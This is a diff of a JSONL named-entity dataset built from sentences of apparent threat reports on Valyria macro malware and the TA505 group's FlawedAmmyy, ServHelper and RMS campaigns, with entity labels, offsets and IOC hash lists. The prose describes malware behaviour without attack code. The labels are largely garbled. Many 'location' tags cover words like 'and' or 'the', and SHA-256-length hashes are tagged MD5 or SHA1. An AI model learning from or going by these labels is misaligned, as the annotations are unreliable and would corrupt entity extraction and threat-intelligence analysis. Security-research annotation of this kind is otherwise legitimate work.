 {"id":7490,"text":"After enabling the macros and the payload executes, two files – an obfuscated  Visual Basic script (Detected by Trend Micro as VBS_VALYRIA.DOCT), and an obfuscated PowerShell script (Detected by Trend Mico as TROJ_VALYRIA.PS) — are created in the ProgramData directory placed in randomly-named directories.","entities":[{"id":23313,"label":"location","start_offset":26,"end_offset":29},{"id":23315,"label":"location","start_offset":118,"end_offset":123},{"id":23316,"label":"location","start_offset":146,"end_offset":149},{"id":23317,"label":"attack-pattern","start_offset":164,"end_offset":174},{"id":23318,"label":"location","start_offset":201,"end_offset":205},{"id":23319,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":7491,"text":"The purpose of the .VBS script is to execute the PowerShell script.","entities":[{"id":23320,"label":"attack-pattern","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":7492,"text":"The path to the VBS script is added to the task scheduler as a form of persistence.","entities":[],"relations":[],"Comments":[]}
 {"id":7493,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":7494,"text":"The installed backdoor and persistence script","entities":[{"id":23322,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":7495,"text":"In other campaigns, two files are also dropped.","entities":[{"id":23324,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":7496,"text":"One of them is the VBS script, however, the second file is a base64 encoded text file, which, after decoding, results in the Powershell file, as in the previous campaign.","entities":[{"id":23326,"label":"location","start_offset":7,"end_offset":11},{"id":23329,"label":"location","start_offset":161,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":7497,"text":"This is one simple layer of obfuscation, likely to avoid some antivirus detections.","entities":[{"id":23331,"label":"location","start_offset":41,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":7498,"text":"The latest change, drops three files – an.sct scriptlet file, an.inf file and a base64 encoded data file.","entities":[{"id":23333,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":7499,"text":"The scriptlet file and inf file use publicly available code for bypassing applockerCode examples are also available on github.","entities":[{"id":23334,"label":"location","start_offset":19,"end_offset":22},{"id":23335,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
 {"id":7500,"text":"The PowerShell script, which employs several layers of obfuscation, is divided into three parts.","entities":[{"id":23336,"label":"attack-pattern","start_offset":4,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":7501,"text":"Part one contains global variables like paths, encryption keys, a list of a few hundred gates or hacked websites which serve as proxies:  Figure 6.","entities":[{"id":23339,"label":"location","start_offset":66,"end_offset":70},{"id":23341,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":7502,"text":"The configuration portion of the PowerShell script","entities":[{"id":23343,"label":"attack-pattern","start_offset":33,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":7503,"text":"The second part contains functions related to the encryption, which is a standard RSA encryption with very small keys.","entities":[{"id":23345,"label":"location","start_offset":73,"end_offset":81},{"id":23346,"label":"identity","start_offset":82,"end_offset":85},{"id":23347,"label":"location","start_offset":107,"end_offset":112}],"relations":[],"Comments":[]}
 {"id":7504,"text":"The third part contains the backdoor function.","entities":[],"relations":[],"Comments":[]}
-{"id":7505,"text":"This function will first collect machine information and take screenshots before it sends this data to a command-and-control (C&C) server while waiting for commands.","entities":[{"id":23349,"label":"location","start_offset":14,"end_offset":18},{"id":23351,"label":"location","start_offset":53,"end_offset":56},{"id":23352,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":7506,"text":"These include the following actions: clean, reboot, shutdown, screenshot, and upload.","entities":[{"id":23353,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":7507,"text":"The clean command attempts to recursively delete all the items from drives C, D, E, and F.  Figure 7.","entities":[{"id":23354,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":7508,"text":"The clean command wipes drives C, D, E and F C&C Communication","entities":[{"id":23356,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":7509,"text":"The communication is done via XML messages with the following supported ACTION commands:  REGISTER IMAGE COMMAND RESULT UPLOAD  ","entities":[{"id":23357,"label":"location","start_offset":72,"end_offset":78},{"id":23358,"label":"location","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":7510,"text":"The backdoor first finds out the machine IP address by querying the internet service api[.]ipify[.]org, which returns the IP address of the currently infected machine.","entities":[],"relations":[],"Comments":[]}
-{"id":7511,"text":"This IP address is then fed to another internet service called apinotes[.]com, which returns the location information of the given IP address.","entities":[{"id":23359,"label":"location","start_offset":125,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":7512,"text":"The backdoor then collects the system information about the infected machine such as the Operating System name, architecture, domain, network adapter configuration, and username.","entities":[{"id":23360,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":7513,"text":"It then separates each piece of information with **, and sends this system info as part of the REGISTER message:  Figure 8.","entities":[{"id":23361,"label":"location","start_offset":53,"end_offset":56},{"id":23362,"label":"location","start_offset":95,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":7514,"text":"The register message before encryption","entities":[{"id":23364,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":7515,"text":"A simple RSA algorithm with very small keys encrypts the message seen above.","entities":[{"id":23365,"label":"identity","start_offset":9,"end_offset":12},{"id":23366,"label":"location","start_offset":33,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":7516,"text":"Let’s take the first character as an example.","entities":[],"relations":[],"Comments":[]}
 {"id":7517,"text":"Character “{” = 0x7B =123.","entities":[],"relations":[],"Comments":[]}
 {"id":7518,"text":"Variable ${prIVATE} = 959, 713 from section 1 of the PowerShell script has two values; the first number is the key and the second number is the modulus.","entities":[{"id":23368,"label":"location","start_offset":36,"end_offset":43},{"id":23370,"label":"attack-pattern","start_offset":53,"end_offset":63},{"id":23372,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":7519,"text":"By computing (123 ^ 959) mod 713 = 340 we get the encrypted value of the first character (see number 340 in the figure below).","entities":[],"relations":[],"Comments":[]}
-{"id":7520,"text":" The message above gets encrypted as shown in figure 9 below, then its contents are sent via post request to one of many hacked gates.","entities":[{"id":23376,"label":"location","start_offset":80,"end_offset":83},{"id":23377,"label":"location","start_offset":93,"end_offset":97},{"id":23378,"label":"location","start_offset":109,"end_offset":112},{"id":23379,"label":"location","start_offset":116,"end_offset":120},{"id":23380,"label":"location","start_offset":128,"end_offset":133}],"relations":[],"Comments":[]}
 {"id":7521,"text":" Figure 9.","entities":[],"relations":[],"Comments":[]}
-{"id":7522,"text":"The register message after encryption","entities":[{"id":23382,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":7523,"text":"The response to this message is another set of decimal numbers which can be decrypted by the public key, which is stored in ${pUbLIC} = 37, 437 variable in part 1 of the PowerShell script.","entities":[{"id":23383,"label":"location","start_offset":69,"end_offset":72},{"id":23384,"label":"location","start_offset":93,"end_offset":99},{"id":23385,"label":"location","start_offset":126,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":7524,"text":"Figure 10.","entities":[],"relations":[],"Comments":[]}
-{"id":7525,"text":"The encrypted response to the register message","entities":[{"id":23389,"label":"location","start_offset":30,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":7526,"text":"The message above can be decrypted to: {\"STATUS\": \"OK\", \"TOKEN\": \"d02153ffaf8137b1fa3bb852a27a12f8\"}","entities":[{"id":23390,"label":"location","start_offset":18,"end_offset":21},{"id":23391,"label":"MD5","start_offset":66,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":7527,"text":"The XML message containing screenshot can be seen below.","entities":[{"id":23392,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":7528,"text":"Note that the previously obtained SYSID that serves as a machine identifier, ACTION:”IMAGE” tells us that a base64 encoded image will be followed in IMAGE field.","entities":[{"id":23393,"label":"location","start_offset":129,"end_offset":133},{"id":23394,"label":"location","start_offset":155,"end_offset":160}],"relations":[],"Comments":[]}
 {"id":7529,"text":" Figure 11.","entities":[],"relations":[],"Comments":[]}
 {"id":7530,"text":"The XML message with the screenshot","entities":[],"relations":[],"Comments":[]}
-{"id":7531,"text":"It seems that the attackers are actively monitoring the incoming connections to the C&C.","entities":[{"id":23396,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":7532,"text":"In one of our attempts, we sent an improper request to the C&C server, which replied with the following message: “Stop!!! I Kill You Researcher.","entities":[{"id":23398,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":7533,"text":"” This level of personalized messaging implies that the attackers are monitoring what data is going to and from their C&C server.","entities":[{"id":23399,"label":"location","start_offset":66,"end_offset":69},{"id":23400,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":7534,"text":" Figure 12.","entities":[],"relations":[],"Comments":[]}
-{"id":7535,"text":"When the threat actor discovers the researcher via an improper request Another hidden message or a false flag?","entities":[{"id":23402,"label":"location","start_offset":105,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":7536,"text":"For the PowerShell script, the first part contains a variable named dragon_middle, which is an array containing a few hundred URLs ending with connection.php that serve as proxies between victim and C&C.","entities":[{"id":23403,"label":"attack-pattern","start_offset":8,"end_offset":18},{"id":23406,"label":"location","start_offset":180,"end_offset":187},{"id":23407,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":7537,"text":"If communication with C&C fails, and if the PowerShell script is run from a command line, a few error messages written in simplified Mandarin Chinese are displayed, with a curious phrase that translates to \"waiting for dragon\":  无法访问本地计算机寄存器 (Unable to access local computer register) 任务计划程序访问被拒绝 (Mission Scheduler access is denied) 无法连接到网址，请等待龙 (Cannot connect to URL, please wait for dragon) 无法连接到网址，请等待龙 (Cannot connect to website, please wait for dragon)  These messages may not reveal anything about the real attackers as the malware writers sometimes like to embed false flags into their programs to confuse researchers.","entities":[{"id":23408,"label":"location","start_offset":33,"end_offset":36},{"id":23409,"label":"attack-pattern","start_offset":44,"end_offset":54},{"id":23411,"label":"location","start_offset":150,"end_offset":153},{"id":23412,"label":"location","start_offset":275,"end_offset":283},{"id":23413,"label":"location","start_offset":298,"end_offset":305},{"id":23414,"label":"location","start_offset":348,"end_offset":351},{"id":23415,"label":"location","start_offset":409,"end_offset":412},{"id":23416,"label":"location","start_offset":476,"end_offset":479},{"id":23417,"label":"location","start_offset":510,"end_offset":514}],"relations":[],"Comments":[]}
-{"id":7538,"text":"The syntax and grammar suggest that the language could have been machine-translated rather than written by a native speaker.","entities":[{"id":23418,"label":"location","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":7539,"text":"Countermeasures and Trend Micro Solutions Users unfamiliar with the various kinds of social engineering techniques might find it difficult to distinguish a legitimate message from a malicious one – thus the need for education on identifying and mitigating phishing attacks – especially if it involves organizations in sensitive industries such as government and manufacturing.","entities":[{"id":23419,"label":"location","start_offset":16,"end_offset":19},{"id":23420,"label":"location","start_offset":26,"end_offset":31},{"id":23421,"label":"location","start_offset":192,"end_offset":195},{"id":23422,"label":"location","start_offset":241,"end_offset":244},{"id":23423,"label":"attack-pattern","start_offset":256,"end_offset":264},{"id":23424,"label":"location","start_offset":358,"end_offset":361}],"relations":[],"Comments":[]}
-{"id":7540,"text":" Context, in this case, is important.","entities":[{"id":23425,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":7541,"text":"Users need to consider why they received an email and avoid clicking on any links or attachments in general until they are certain that they are legitimate.","entities":[{"id":23426,"label":"location","start_offset":50,"end_offset":53},{"id":23427,"label":"location","start_offset":119,"end_offset":122},{"id":23428,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":7542,"text":"Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real time.","entities":[{"id":23429,"label":"location","start_offset":6,"end_offset":11},{"id":23430,"label":"location","start_offset":68,"end_offset":71},{"id":23432,"label":"location","start_offset":120,"end_offset":123},{"id":23433,"label":"location","start_offset":144,"end_offset":148},{"id":23434,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":7543,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.","entities":[{"id":23435,"label":"location","start_offset":95,"end_offset":98},{"id":23436,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":7544,"text":"Malware such as the one analyzed in this entry also use email as an entry point, which is why it's important to secure the email gateway.","entities":[{"id":23437,"label":"location","start_offset":20,"end_offset":23},{"id":23438,"label":"location","start_offset":74,"end_offset":79},{"id":23439,"label":"location","start_offset":129,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":7545,"text":"Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.  Trend Micro™ Deep Discovery™ Inspector and InterScan™ Web Security prevent malware from ever reaching end users.","entities":[{"id":23440,"label":"location","start_offset":6,"end_offset":11},{"id":23441,"label":"location","start_offset":19,"end_offset":27},{"id":23442,"label":"location","start_offset":48,"end_offset":53},{"id":23443,"label":"location","start_offset":98,"end_offset":108},{"id":23444,"label":"location","start_offset":112,"end_offset":116},{"id":23445,"label":"attack-pattern","start_offset":132,"end_offset":146},{"id":23446,"label":"location","start_offset":160,"end_offset":163},{"id":23448,"label":"location","start_offset":261,"end_offset":264},{"id":23450,"label":"location","start_offset":310,"end_offset":314}],"relations":[],"Comments":[]}
-{"id":7546,"text":"At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.","entities":[{"id":23452,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":7547,"text":"These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.","entities":[{"id":23453,"label":"location","start_offset":16,"end_offset":19},{"id":23455,"label":"location","start_offset":80,"end_offset":85},{"id":23456,"label":"location","start_offset":149,"end_offset":154},{"id":23457,"label":"location","start_offset":184,"end_offset":189},{"id":23458,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]}
 {"id":7548,"text":"It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads. Indicators of Compromise (IOCs) Hashes detected as W2KM_VALYRIA.DOCT:  009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0 153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58 18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6 18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd 1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942 2727bf97d7e2a5e7e5e41ccbfd7237c59023d70914834400da1d762d96424fde 2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13 3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115 3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c 3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb 6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac 76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338 9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c 93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84 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Research","entities":[{"id":23459,"label":"location","start_offset":17,"end_offset":25},{"id":23460,"label":"location","start_offset":57,"end_offset":64},{"id":23461,"label":"location","start_offset":65,"end_offset":68},{"id":23462,"label":"location","start_offset":83,"end_offset":86},{"id":23463,"label":"location","start_offset":101,"end_offset":104},{"id":23464,"label":"location","start_offset":133,"end_offset":136},{"id":23465,"label":"location","start_offset":137,"end_offset":142},{"id":23466,"label":"SHA2","start_offset":225,"end_offset":289},{"id":23467,"label":"SHA2","start_offset":290,"end_offset":354},{"id":23468,"label":"MD5","start_offset":355,"end_offset":419},{"id":23469,"label":"SHA1","start_offset":420,"end_offset":484},{"id":23470,"label":"MD5","start_offset":485,"end_offset":549},{"id":23471,"label":"SHA2","start_offset":550,"end_offset":614},{"id":23472,"label":"SHA2","start_offset":615,"end_offset":679},{"id":23473,"label":"SHA2","start_offset":680,"end_offset":744},{"id":23474,"label":"SHA1","start_offset":745,"end_offset":809},{"id":23475,"label":"MD5","start_offset":810,"end_offset":874},{"id":23476,"label":"SHA1","start_offset":875,"end_offset":939},{"id":23477,"label":"MD5","start_offset":940,"end_offset":1004},{"id":23478,"label":"SHA2","start_offset":1005,"end_offset":1069},{"id":23479,"label":"SHA2","start_offset":1070,"end_offset":1134},{"id":23480,"label":"SHA2","start_offset":1135,"end_offset":1199},{"id":23481,"label":"SHA1","start_offset":1200,"end_offset":1264},{"id":23482,"label":"SHA1","start_offset":1265,"end_offset":1329},{"id":23483,"label":"MD5","start_offset":1330,"end_offset":1394},{"id":23484,"label":"MD5","start_offset":1395,"end_offset":1459},{"id":23485,"label":"SHA2","start_offset":1460,"end_offset":1524},{"id":23486,"label":"SHA2","start_offset":1525,"end_offset":1589},{"id":23487,"label":"SHA2","start_offset":1590,"end_offset":1654},{"id":23488,"label":"SHA2","start_offset":1692,"end_offset":1756},{"id":23489,"label":"SHA2","start_offset":1757,"end_offset":1821},{"id":23490,"label":"SHA2","start_offset":1822,"end_offset":1886},{"id":23491,"label":"SHA2","start_offset":1887,"end_offset":1951},{"id":23492,"label":"SHA2","start_offset":1952,"end_offset":2016},{"id":23493,"label":"SHA2","start_offset":2017,"end_offset":2081},{"id":23494,"label":"SHA2","start_offset":2082,"end_offset":2146},{"id":23495,"label":"SHA2","start_offset":2147,"end_offset":2211},{"id":23496,"label":"SHA2","start_offset":2212,"end_offset":2276},{"id":23497,"label":"SHA2","start_offset":2277,"end_offset":2341},{"id":23498,"label":"SHA2","start_offset":2342,"end_offset":2406},{"id":23499,"label":"SHA2","start_offset":2407,"end_offset":2471},{"id":23500,"label":"SHA1","start_offset":2472,"end_offset":2536},{"id":23501,"label":"SHA2","start_offset":2537,"end_offset":2601},{"id":23502,"label":"MD5","start_offset":2638,"end_offset":2702},{"id":23503,"label":"SHA1","start_offset":2703,"end_offset":2767},{"id":23504,"label":"SHA2","start_offset":2768,"end_offset":2832},{"id":23505,"label":"SHA2","start_offset":2833,"end_offset":2897},{"id":23506,"label":"SHA2","start_offset":2898,"end_offset":2962},{"id":23507,"label":"SHA1","start_offset":2963,"end_offset":3027},{"id":23508,"label":"SHA2","start_offset":3028,"end_offset":3092},{"id":23509,"label":"SHA2","start_offset":3093,"end_offset":3157},{"id":23510,"label":"SHA2","start_offset":3158,"end_offset":3222},{"id":23511,"label":"SHA2","start_offset":3223,"end_offset":3287},{"id":23512,"label":"SHA2","start_offset":3288,"end_offset":3352},{"id":23513,"label":"MD5","start_offset":3353,"end_offset":3417},{"id":23514,"label":"SHA1","start_offset":3418,"end_offset":3482},{"id":23515,"label":"SHA2","start_offset":3483,"end_offset":3547},{"id":23516,"label":"SHA2","start_offset":3548,"end_offset":3612},{"id":23517,"label":"SHA2","start_offset":3613,"end_offset":3677},{"id":23518,"label":"SHA2","start_offset":3678,"end_offset":3742},{"id":23519,"label":"SHA2","start_offset":3743,"end_offset":3807},{"id":23520,"label":"SHA2","start_offset":3808,"end_offset":3872},{"id":23521,"label":"SHA2","start_offset":3873,"end_offset":3937},{"id":23522,"label":"SHA2","start_offset":3938,"end_offset":4002},{"id":23523,"label":"SHA2","start_offset":4003,"end_offset":4067},{"id":23524,"label":"SHA2","start_offset":4068,"end_offset":4132},{"id":23525,"label":"SHA2","start_offset":4133,"end_offset":4197},{"id":23526,"label":"SHA2","start_offset":4234,"end_offset":4298},{"id":23527,"label":"location","start_offset":4311,"end_offset":4314},{"id":23528,"label":"SHA2","start_offset":4355,"end_offset":4419},{"id":23529,"label":"MD5","start_offset":4420,"end_offset":4484},{"id":23530,"label":"SHA1","start_offset":4485,"end_offset":4549},{"id":23531,"label":"location","start_offset":4574,"end_offset":4577}],"relations":[],"Comments":[]}
-{"id":7549,"text":"TA505 is a prolific cybercriminal group known for its attacks against multiple financial institutions and retail companies using malicious spam campaigns and different malware.","entities":[{"id":23533,"label":"location","start_offset":102,"end_offset":105},{"id":23534,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":7550,"text":"We have been following TA505 closely and detected various related activities for the past two months.","entities":[{"id":23536,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":7551,"text":"In the group's latest campaign, they started using HTML attachments to deliver malicious .XLS files that lead to downloader and backdoor FlawedAmmyy, mostly to target users in South Korea.","entities":[{"id":23538,"label":"location","start_offset":22,"end_offset":30},{"id":23539,"label":"location","start_offset":105,"end_offset":109},{"id":23540,"label":"location","start_offset":124,"end_offset":127},{"id":23541,"label":"tools","start_offset":137,"end_offset":148},{"id":23542,"label":"location","start_offset":160,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":7552,"text":" Figure 1. TA505’s latest infection chain","entities":[],"relations":[],"Comments":[]}
-{"id":7553,"text":"This blog post covers three main points involving TA505: their recent activity in specific regions, shifting tactics and payloads, and suspicious activity possibly associated with the group.","entities":[{"id":23546,"label":"location","start_offset":10,"end_offset":14},{"id":23548,"label":"location","start_offset":33,"end_offset":39},{"id":23550,"label":"location","start_offset":117,"end_offset":120},{"id":23551,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":7554,"text":"We also touch on the latest TA505 developments, including an email stealer, their use of legitimate software and MSI Installer, and more.","entities":[{"id":23553,"label":"malware","start_offset":67,"end_offset":74},{"id":23554,"label":"location","start_offset":109,"end_offset":112},{"id":23556,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":7555,"text":"Recent activity in Latin America and East Asia","entities":[{"id":23558,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":7556,"text":"As previously mentioned, TA505, first named by Proofpoint, is known for targeting financial enterprises.","entities":[],"relations":[],"Comments":[]}
 {"id":7557,"text":"Since last December, TA505 has been very active and has been using legitimate or compromised RATs (remote access trojans) such as FlawedAmmyy, FlawedGrace, and Remote Manipulator System (RMS).","entities":[{"id":23565,"label":"location","start_offset":48,"end_offset":51},{"id":23566,"label":"location","start_offset":99,"end_offset":105},{"id":23567,"label":"tools","start_offset":130,"end_offset":141},{"id":23568,"label":"malware","start_offset":143,"end_offset":154},{"id":23569,"label":"location","start_offset":156,"end_offset":159},{"id":23570,"label":"location","start_offset":160,"end_offset":166},{"id":23571,"label":"malware","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":7558,"text":"While monitoring their activities, we found that the group is still updating their tactics, techniques, and procedures (TTPs).","entities":[{"id":23572,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":7559,"text":"In April, TA505 targeted Latin American countries Chile and Mexico, and even Italy using either FlawedAmmyy RAT or RMS RAT as payload.","entities":[{"id":23577,"label":"location","start_offset":56,"end_offset":59},{"id":23579,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":7560,"text":"By the end of April, we learned that the group started to go after targets in East Asian countries such as China, South Korea, and Taiwan using FlawedAmmyy RAT as its payload.","entities":[{"id":23584,"label":"location","start_offset":24,"end_offset":31},{"id":23588,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":7561,"text":"TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected.","entities":[{"id":23592,"label":"location","start_offset":37,"end_offset":40},{"id":23593,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":7562,"text":"As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file.","entities":[{"id":23594,"label":"location","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":7563,"text":"The group notably abuses Excel 4.0 macro — a particularly old macro likely used to evade typical macro detection.","entities":[{"id":23596,"label":"location","start_offset":25,"end_offset":30},{"id":23597,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":7564,"text":" Figure 2. Korean language (left), simplified Chinese language (right) Microsoft Office instructions on how to enable macro  Figure 3.","entities":[{"id":23602,"label":"tools","start_offset":81,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":7565,"text":"Excel 4.0 macro","entities":[{"id":23604,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
 {"id":7566,"text":"This said macro executes a command to download the first stage payload using msiexec.exe, a Microsoft Installer tool that can download and run a Windows Installer file.","entities":[{"id":23605,"label":"identity","start_offset":92,"end_offset":101},{"id":23606,"label":"location","start_offset":112,"end_offset":116},{"id":23607,"label":"location","start_offset":122,"end_offset":125},{"id":23608,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":7567,"text":"The first stage payload is an MSI Installer that was created using an EXE to MSI converter.","entities":[],"relations":[],"Comments":[]}
 {"id":7568,"text":" Figure 4. MSI Installer payload that used EXE to MSI converter","entities":[],"relations":[],"Comments":[]}
@@ -7572,12 +6384,9 @@
 {"id":7572,"text":"The MSI Installer itself contains a FlawedAmmyy downloader, which is always signed.","entities":[{"id":23617,"label":"malware","start_offset":36,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":7573,"text":" Figure 5. FlawedAmmyy downloader  Figure 6.","entities":[{"id":23619,"label":"malware","start_offset":11,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":7574,"text":"Digitally signed FlawedAmmyy downloader","entities":[{"id":23621,"label":"malware","start_offset":17,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":7575,"text":"The downloader will check if the infected machine is running in the Active Directory (AD) network.","entities":[{"id":23622,"label":"location","start_offset":15,"end_offset":19},{"id":23623,"label":"location","start_offset":20,"end_offset":25}],"relations":[],"Comments":[]}
 {"id":7576,"text":"It then runs the “net group \/domain” command and checks if “workgroup” is contained in the output result.","entities":[{"id":23624,"label":"malware","start_offset":18,"end_offset":21},{"id":23625,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":7577,"text":"(If it does not exist, it means that the PC is running in AD.)","entities":[{"id":23626,"label":"location","start_offset":26,"end_offset":31}],"relations":[],"Comments":[]}
 {"id":7578,"text":"After performing the check, it downloads the RC4-encrypted FlawedAmmyy RAT, decrypts it, and executes it as the final payload.","entities":[{"id":23627,"label":"location","start_offset":21,"end_offset":26},{"id":23628,"label":"malware","start_offset":59,"end_offset":70},{"id":23629,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":7579,"text":"We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however).","entities":[{"id":23630,"label":"malware","start_offset":43,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":7580,"text":"It could be a blip — perhaps a one-off — but it's still notable. Payload as ServHelper ServHelper is classified as a backdoor, but it can also work as a downloader for FlawedGrace.","entities":[{"id":23632,"label":"location","start_offset":31,"end_offset":34},{"id":23634,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":7581,"text":"If the MSI Installer package contains ServHelper as a payload, it will come with an NSIS (Nullsoft Scriptable Install System) installer.","entities":[{"id":23637,"label":"location","start_offset":66,"end_offset":70},{"id":23638,"label":"malware","start_offset":84,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":7582,"text":"Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":7583,"text":"NSIS Installer NSIS is a legitimate tool that manages the installation for Windows, but some hacking groups also abuse it.","entities":[{"id":23640,"label":"malware","start_offset":0,"end_offset":4},{"id":23641,"label":"malware","start_offset":15,"end_offset":19},{"id":23642,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
@@ -7589,67 +6398,35 @@
 {"id":7589,"text":"In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the “feast” parameter as its export function.","entities":[{"id":23652,"label":"location","start_offset":8,"end_offset":12},{"id":23653,"label":"malware","start_offset":36,"end_offset":46},{"id":23654,"label":"location","start_offset":48,"end_offset":52},{"id":23655,"label":"location","start_offset":76,"end_offset":79},{"id":23656,"label":"location","start_offset":122,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":7590,"text":"Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine.","entities":[{"id":23658,"label":"attack-pattern","start_offset":39,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":7591,"text":"Payload as RMS RAT TA505 also uses RMS, a legitimate RAT, in their campaigns.","entities":[],"relations":[],"Comments":[]}
-{"id":7592,"text":"If the MSI Installer package contains RMS RAT as its payload, it will include a self-extracting RAR.","entities":[{"id":23663,"label":"location","start_offset":65,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":7593,"text":"Figure 9.","entities":[],"relations":[],"Comments":[]}
 {"id":7594,"text":"SFXRAR","entities":[],"relations":[],"Comments":[]}
